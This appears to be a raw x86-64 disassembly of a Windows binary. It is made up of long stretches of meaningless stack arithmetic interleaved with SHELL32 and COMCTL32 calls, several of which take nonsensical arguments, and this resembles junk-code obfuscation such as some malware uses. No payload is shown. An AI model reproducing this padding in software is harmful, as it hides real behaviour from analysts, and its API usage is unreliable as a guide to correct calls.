mov rcx, qword [rsp + 0xea58]
mov qword [rsp + 0xff68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff68]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xd098]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x548]
mov rcx, qword [rsp + 0xeff8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x18a], al
mov rax, qword [rsp + 0xe0a0]
mov ecx, dword [rsp + 0x6f30]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6654], eax
mov rax, qword [0x14019f0f8]
mov rax, qword [rax]
mov qword [rsp + 0xff70], rax
mov rcx, qword [rsp + 0xd640]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x6ed0], eax
mov rax, qword [rsp + 0xfa48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xeb60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0xe828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xde08]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d88], ax
movzx eax, word [0x14019d32c]
mov rcx, qword [rsp + 0xf1e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019f7c8], ax
mov rax, qword [rsp + 0xe258]
mov qword [rsp + 0xff78], rax
mov rax, qword [rsp + 0xfbe0]
movzx ecx, al
mov rax, qword [rsp + 0xc998]
sar rax, cl
mov qword [rsp + 0xe538], rax
mov r9d, 0xce
mov r8, qword [rsp + 0xce20]
mov edx, SHSetInstanceExplorer
mov rcx, qword [rsp + 0xff80]
call qword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [rsp + 0x7234], eax
lea rax, [rsp + 0x1630]
mov qword [rsp + 0xff88], rax
movzx eax, word [rsp + 0x2f48]
mov rcx, qword [rsp + 0xf4f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf090]
mov word [rcx], ax
mov rax, qword [rsp + 0xfb28]
mov rcx, qword [rsp + 0x94d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdcc8], rax
movsx eax, byte [rsp + 0x1da]
movsx ecx, byte [rsp + 0x54f]
add eax, ecx
mov byte [rsp + 0x215], al
mov eax, dword [rsp + 0x603c]
mov ecx, dword [rsp + 0x7264]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d6c], eax
mov rax, qword [0x14019d298]
mov qword [rsp + 0xff90], rax
mov rax, qword [rsp + 0xe148]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14019f528], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b98]
or eax, ecx
mov rcx, qword [rsp + 0xfd90]
mov word [rcx], ax
mov eax, dword [rsp + 0x64c8]
mov rcx, qword [rsp + 0xf530]
mov qword [rsp + 0xff98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff98]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5cac], eax
movzx eax, byte [rsp + 0x51e]
movzx ecx, byte [rsp + 0x481]
shl eax, cl
mov byte [rsp + 0x4a7], al
mov rax, qword [0x14019f448]
mov rcx, qword [rsp + 0xd680]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf450], rax
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0x5f4], al
mov rax, qword [rsp + 0xff40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x608c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d6c], eax
mov rax, qword [0x14019f3b0]
mov rax, qword [rax]
mov qword [rsp + 0xffa0], rax
movsx eax, word [rsp + 0x2f00]
movsx ecx, word [rsp + 0x1a3c]
sub eax, ecx
mov word [rsp + 0x2d10], ax
lea rax, [rsp + 0x304c]
mov qword [0x14019f7f0], rax
mov rax, qword [rsp + 0xf540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xde88]
mov qword [rsp + 0xffa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xffa8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xf8f8], rax
movzx eax, word [rsp + 0x3048]
movzx ecx, word [rsp + 0x1ea0]
or eax, ecx
mov word [rsp + 0x2438], ax
movsx eax, word [rsp + 0x1b44]
mov rcx, qword [rsp + 0xe220]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f60], ax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov qword [rsp + 0xffb0], rax
movsx eax, byte [rsp + 0x505]
mov rcx, qword [rsp + 0xe2f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x275], al
mov r9d, 0xb6
mov r8d, 0xe8
mov edx, ILIsParent
mov rcx, qword [rsp + 0xf7a0]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov rax, qword [rsp + 0xdf20]
mov ecx, dword [rsp + 0x6044]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5ff8], eax
mov rax, qword [rsp + 0xfc48]
mov rcx, qword [rsp + 0xe780]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9358], rax
movzx eax, word [rsp + 0x3174]
movzx ecx, word [rsp + 0x2ee8]
and eax, ecx
mov word [rsp + 0x2d64], ax
mov rax, qword [rsp + 0xf5d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019f6a0]
sar rax, cl
mov qword [0x14019f4c0], rax
lea rax, [rsp + 0x64ec]
mov qword [rsp + 0xffb8], rax
mov rax, qword [rsp + 0xd740]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56e]
shl eax, cl
mov byte [rsp + 0x4f6], al
movsx eax, word [0x14019d368]
movsx ecx, word [rsp + 0x30d8]
or eax, ecx
mov word [rsp + 0xc8c], ax
movzx eax, word [rsp + 0xd60]
mov word [rsp + 0x32ac], ax
mov rax, qword [rsp + 0xe078]
mov rcx, qword [rsp + 0x9ce8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbd10], rax
mov eax, dword [rsp + 0x71c0]
mov ecx, dword [0x14019f0c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c18], eax
mov rax, qword [rsp + 0xfdc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x259]
add eax, ecx
mov rcx, qword [rsp + 0xf900]
mov byte [rcx], al
mov rax, qword [rsp + 0xf9c0]
movsx eax, word [rax]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d0], ax
lea rax, [rsp + 0x3114]
mov qword [0x14019f7f8], rax
mov rax, qword [rsp + 0xf928]
mov qword [rsp + 0xffc0], rax
mov rax, qword [rsp + 0xe9d8]
mov rcx, qword [rsp + 0xd290]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xe080]
mov qword [rcx], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov qword [rsp + 0xffc8], rax
movsx eax, word [rsp + 0x2714]
movsx ecx, word [rsp + 0x2c80]
shl eax, cl
mov word [rsp + 0x2ffc], ax
mov rax, qword [rsp + 0xf440]
movsx eax, byte [rax]
mov rcx, qword [0x14019f270]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x238], al
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x60d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6efc], eax
mov rax, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0xe278]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c30], rax
mov eax, dword [rsp + 0x5a00]
mov dword [rsp + 0x72a8], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5c0], al
movsx eax, word [rsp + 0x31bc]
movsx ecx, word [rsp + 0x26ec]
xor eax, ecx
mov word [0x14019d0b4], ax
movzx eax, word [rsp + 0xe90]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1778], ax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c6c]
sar eax, cl
mov word [rsp + 0x2444], ax
mov rax, qword [0x14019f598]
mov rcx, qword [rsp + 0xfae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe048], rax
mov rax, qword [rsp + 0xe1d0]
movzx eax, byte [rax]
mov byte [rsp + 0x5f5], al
mov rax, qword [rsp + 0xe488]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xac98]
shl rax, cl
mov qword [rsp + 0xae28], rax
mov eax, dword [0x14019f2bc]
mov dword [rsp + 0x72ac], eax
mov rax, qword [rsp + 0xfa90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd0b0]
mov word [rcx], ax
mov ecx, 0xde
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x6dd8], eax
mov rax, qword [rsp + 0xf260]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f3c]
add eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xdb98]
mov rcx, qword [rsp + 0xffb0]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d3c8], rax
mov rax, qword [rsp + 0xf0b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1264]
sub eax, ecx
mov word [rsp + 0x18e0], ax
mov rax, qword [rsp + 0xe8b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc7a0]
shl rax, cl
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0x9778]
mov qword [rsp + 0xffd0], rax
mov rax, qword [rsp + 0xa248]
movzx ecx, al
mov rax, qword [rsp + 0xa570]
shr rax, cl
mov qword [rsp + 0xccc8], rax
mov eax, dword [rsp + 0x58ac]
mov ecx, dword [rsp + 0x70d8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6894], eax
mov eax, dword [rsp + 0x6f98]
mov ecx, dword [rsp + 0x6458]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x667c], eax
movzx eax, byte [rsp + 0x5da]
movzx ecx, byte [rsp + 0x5b0]
and eax, ecx
mov byte [rsp + 0x14f], al
movzx eax, byte [rsp + 0x522]
mov byte [rsp + 0x5f6], al
mov rax, qword [rsp + 0xe0e0]
movzx eax, word [rax]
mov word [0x14019f800], ax
mov rax, qword [rsp + 0xde90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x171c], ax
mov rax, qword [0x14019f4e0]
movzx eax, word [rax]
mov word [rsp + 0x32b0], ax
mov rax, qword [rsp + 0xee18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd98]
shl eax, cl
mov word [rsp + 0x3128], ax
movsx eax, byte [rsp + 0x5e8]
mov rcx, qword [rsp + 0xe308]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xfe60]
mov byte [rcx], al
mov rax, qword [rsp + 0xe9a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019d1b0]
shr rax, cl
mov qword [rsp + 0x9c08], rax
mov rax, qword [rsp + 0xfc28]
mov eax, dword [rax]
imul eax, dword [rsp + 0x5f6c]
mov dword [rsp + 0x5b74], eax
lea rax, [rsp + 0x2e4c]
mov qword [rsp + 0xffd8], rax
movzx eax, word [rsp + 0x3190]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3284], ax
lea rcx, [rsp + 0x20060]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x6c08], eax
mov rax, qword [rsp + 0xea80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf858]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14019f4b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf10]
mov rcx, qword [0x14019f308]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc048], rax
mov rax, qword [rsp + 0xbf38]
mov qword [rsp + 0xffe0], rax
mov rax, qword [rsp + 0xeb38]
mov rcx, qword [rsp + 0xd440]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e10], rax
mov rax, qword [rsp + 0xf4f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f88]
add eax, ecx
mov word [rsp + 0x2770], ax
movzx eax, byte [rsp + 0x3ff]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xe370]
mov byte [rcx], al
mov eax, dword [rsp + 0x71d4]
movzx ecx, al
mov eax, dword [rsp + 0x6400]
shl eax, cl
mov dword [rsp + 0x6700], eax
movzx eax, byte [rsp + 0x55a]
mov byte [rsp + 0x5f7], al
mov eax, dword [rsp + 0x7248]
mov ecx, dword [rsp + 0x70d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b44], eax
lea rax, [rsp + 0xadb8]
mov qword [0x14019f808], rax
movsx eax, word [rsp + 0x2fa4]
mov rcx, qword [rsp + 0xe6a0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2538], ax
movsx eax, word [rsp + 0x3098]
movsx ecx, word [rsp + 0x2d78]
sar eax, cl
mov word [rsp + 0x28e4], ax
lea rax, [rsp + 0x2c58]
mov qword [rsp + 0xffe8], rax
mov rax, qword [rsp + 0xfe90]
mov rcx, qword [rsp + 0xd968]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xfa08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf628]
mov ecx, dword [rsp + 0x6da8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a6c], eax
mov rax, qword [rsp + 0xa478]
mov qword [rsp + 0xfff0], rax
mov r8, qword [rsp + 0xcde8]
mov rdx, qword [rsp + 0xcdd8]
mov rcx, qword [rsp + 0xddf0]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0xfff8], rax
movsx eax, byte [rsp + 0x555]
mov rcx, qword [rsp + 0xf8e0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5c4], al
mov rax, qword [rsp + 0xf430]
movzx eax, word [rax]
mov word [rsp + 0x32b4], ax
movzx eax, word [rsp + 0x3094]
mov rcx, qword [rsp + 0xf848]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d23c], ax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xffe0]
shl rax, cl
mov qword [rsp + 0xcaf0], rax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf0e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d4], ax
movzx eax, byte [rsp + 0x4e8]
movzx ecx, byte [rsp + 0x57a]
add eax, ecx
mov byte [rsp + 0x46], al
mov rax, qword [rsp + 0xd480]
mov rcx, qword [rsp + 0xf688]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b30], eax
mov rcx, qword [rsp + 0xebe0]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x10000], rax
mov rax, qword [rsp + 0xa0a8]
mov qword [rsp + 0x10008], rax
movsx eax, byte [rsp + 0x4f1]
mov rcx, qword [rsp + 0xfb90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0xe6e8]
mov ecx, dword [rsp + 0x69f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6420], eax
mov rax, qword [0x14019f730]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x21f8], ax
mov rax, qword [rsp + 0xfd98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd910]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019f210], ax
mov rax, qword [rsp + 0xe6f8]
mov rcx, qword [rsp + 0xe080]
mov qword [rsp + 0x10010], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10010]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xed30], rax
mov rax, qword [rsp + 0xf578]
mov qword [rsp + 0x10018], rax
mov rax, qword [rsp + 0xf9c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2094]
sar eax, cl
mov rcx, qword [rsp + 0xe598]
mov word [rcx], ax
movzx eax, word [rsp + 0x24cc]
mov rcx, qword [rsp + 0xecb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3030], ax
movzx eax, byte [rsp + 0x4ea]
mov byte [rsp + 0x5f8], al
mov eax, dword [rsp + 0x701c]
mov ecx, dword [rsp + 0x7004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ea8], eax
mov rax, qword [rsp + 0xafc0]
mov rcx, qword [0x14019f1d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d68], rax
mov rax, qword [rsp + 0xae70]
mov rcx, qword [rsp + 0xe3f0]
mov qword [rsp + 0x10020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10020]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd860]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdb68]
movsx eax, word [rax]
mov rcx, qword [0x14019f3a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019d3d0], ax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
mov word [rsp + 0x32b8], ax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55d]
or eax, ecx
mov byte [rsp + 0x5c5], al
mov rax, qword [rsp + 0xffb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7120], eax
mov rax, qword [rsp + 0xed48]
mov rcx, qword [rsp + 0xcdc8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xadd8], rax
mov eax, dword [rsp + 0x6e30]
mov ecx, dword [rsp + 0x69f4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7038], eax
mov rax, qword [rsp + 0xd9a8]
mov rax, qword [rax]
mov qword [rsp + 0x10028], rax
lea rax, [rsp + 0xe6e0]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_SHUpdateImageW
lea r8, [rsp + 0xd130]
lea rdx, [rsp + 0x1e970]
mov rcx, qword [rsp + 0xe998]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x7024], eax
mov rax, qword [rsp + 0xef60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xe340]
mov byte [rcx], al
movsx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe1b0]
mov word [rcx], ax
lea rax, [rsp + 0xd1b8]
mov qword [rsp + 0x20], rax
mov r9d, 0xd7
lea r8, [rsp + 0xdb80]
lea rdx, [rsp + 0x209d0]
lea rcx, [rsp + 0xd668]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x70bc], eax
lea rax, [rsp + 0x1ec0]
mov qword [0x14019f810], rax
mov rax, qword [rsp + 0xfe70]
mov rax, qword [rax]
mov qword [rsp + 0x10030], rax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b54]
or eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [0x14019f770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29ac]
shl eax, cl
mov word [rsp + 0x125c], ax
mov rax, qword [rsp + 0xe9e8]
mov rcx, qword [rsp + 0xfd00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ff8], rax
mov rax, qword [rsp + 0xf3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb050], rax
mov rax, qword [rsp + 0xe618]
mov eax, dword [rax]
mov dword [rsp + 0x72b0], eax
mov rax, qword [rsp + 0xefe0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe8f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe160]
mov byte [rcx], al
movzx eax, word [rsp + 0x24d4]
mov rcx, qword [0x14019f060]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1690], ax
mov rax, qword [rsp + 0xec20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfe40]
mov qword [rsp + 0x10038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10038]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14019f558], rax
mov rax, qword [rsp + 0xe970]
mov ecx, dword [0x14019efac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6ef0], eax
mov rax, qword [rsp + 0xfd50]
movzx eax, byte [rax]
mov byte [rsp + 0x5f9], al
lea rcx, [rsp + 0x1e3f0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x10040], rax
mov rax, qword [rsp + 0xf9c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c10], ax
lea r8, [rsp + 0x1f460]
mov rdx, qword [rsp + 0xf7a0]
mov rcx, qword [rsp + 0xd530]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0xf6b0], rax
mov rax, qword [rsp + 0xe2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xffe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b8c], ax
lea rax, [rsp + 0x6b64]
mov qword [rsp + 0x10048], rax
movsx eax, byte [rsp + 0x238]
movsx ecx, byte [rsp + 0x296]
xor eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0xe880]
mov rax, qword [rax]
mov qword [rsp + 0x10050], rax
movsx eax, word [0x14019d2b4]
movsx ecx, word [rsp + 0x2140]
and eax, ecx
mov word [rsp + 0x23b0], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [0x14019f818], ax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7a8]
mov qword [rsp + 0x10058], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10058]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xeb00], rax
mov rax, qword [rsp + 0x91b0]
mov rcx, qword [0x14019f050]
mov qword [rsp + 0x10060], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10060]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9248], rax
mov rax, qword [rsp + 0xdfe8]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc120], rax
movzx eax, word [rsp + 0x13f0]
mov word [rsp + 0x32bc], ax
movsx eax, byte [rsp + 0x5c7]
mov rcx, qword [rsp + 0xe5d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5e4], al
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
mov r8d, 0x80
lea rdx, [rsp + 0x1efc0]
lea rcx, [rsp + 0x6f80]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x72b4], eax
mov rax, qword [rsp + 0xfc48]
mov rcx, qword [rsp + 0xdcc8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0xe970]
mov ecx, dword [rsp + 0x6d58]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6850], eax
movzx eax, byte [rsp + 0x59a]
mov byte [rsp + 0x5fa], al
mov rax, qword [rsp + 0xf6f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3188]
sub eax, ecx
mov word [0x14019f760], ax
mov r8d, 0x6a
mov rdx, qword [rsp + 0xf310]
mov rcx, qword [rsp + 0xce40]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, word [rsp + 0x3210]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2f28], ax
movzx eax, word [rsp + 0x31f0]
mov rcx, qword [0x14019f4e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10d8], ax
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xf360]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa470], rax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xef60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e8], al
mov rax, qword [0x14019f808]
mov rax, qword [rax]
mov qword [rsp + 0x10068], rax
mov rax, qword [rsp + 0xf830]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fe4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6548], eax
lea rax, [rsp + 0x2e24]
mov qword [rsp + 0x10070], rax
lea rcx, [rsp + 0x22970]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xd7c8], rax
movzx eax, word [rsp + 0x26dc]
mov rcx, qword [rsp + 0xec90]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b70], ax
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xb4f8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14019f390], rax
lea rdx, [rsp + 0x209d0]
lea rcx, [rsp + 0x6d88]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x71f0], eax
movzx eax, word [rsp + 0x2380]
movzx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov rcx, qword [rsp + 0xe2b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov qword [rsp + 0x10078], rax
mov rax, qword [rsp + 0xdfa0]
mov rcx, qword [rsp + 0xe3a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x63b8]
shl eax, cl
mov dword [rsp + 0x6b10], eax
mov rax, qword [rsp + 0xc188]
mov rcx, qword [rsp + 0xee48]
mov qword [rsp + 0x10080], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10080]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xe880]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf888]
mov eax, dword [rax]
imul eax, dword [rsp + 0x5958]
mov dword [rsp + 0x6798], eax
lea rax, [rsp + 0x2dc]
mov qword [rsp + 0x10088], rax
mov rax, qword [rsp + 0xf0f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x505]
sub eax, ecx
mov byte [rsp + 0x562], al
mov rax, qword [rsp + 0xf6f8]
movzx eax, word [rax]
mov word [0x14019f81c], ax
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov word [rsp + 0x32c0], ax
movzx eax, word [rsp + 0x3018]
movzx ecx, word [rsp + 0x2c70]
add eax, ecx
mov word [rsp + 0x2d20], ax
movzx eax, word [rsp + 0x21a8]
movzx ecx, word [rsp + 0x2a44]
add eax, ecx
mov word [rsp + 0x2be0], ax
mov rax, qword [0x14019f180]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xeb78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x381], al
mov rax, qword [rsp + 0xdfc8]
movzx ecx, al
mov rax, qword [rsp + 0xac30]
shl rax, cl
mov rcx, qword [rsp + 0xede8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf890]
mov eax, dword [rax]
mov dword [rsp + 0x72b8], eax
movsx eax, word [0x14019f5b0]
movsx ecx, word [rsp + 0x1774]
sar eax, cl
mov rcx, qword [rsp + 0xfa98]
mov word [rcx], ax
movzx eax, word [rsp + 0x1e94]
mov rcx, qword [rsp + 0xfb70]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x30fc], ax
mov rax, qword [rsp + 0xecf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfb00]
and rcx, rax
mov rax, rcx
mov qword [0x14019d280], rax
mov rax, qword [rsp + 0xbf08]
mov qword [rsp + 0x10090], rax
mov rax, qword [rsp + 0xd9d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd78]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xf208], rax
mov rax, qword [0x14019f050]
mov rcx, qword [rsp + 0xf5d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb218], rax
movzx eax, word [rsp + 0x2770]
mov rcx, qword [rsp + 0xebd0]
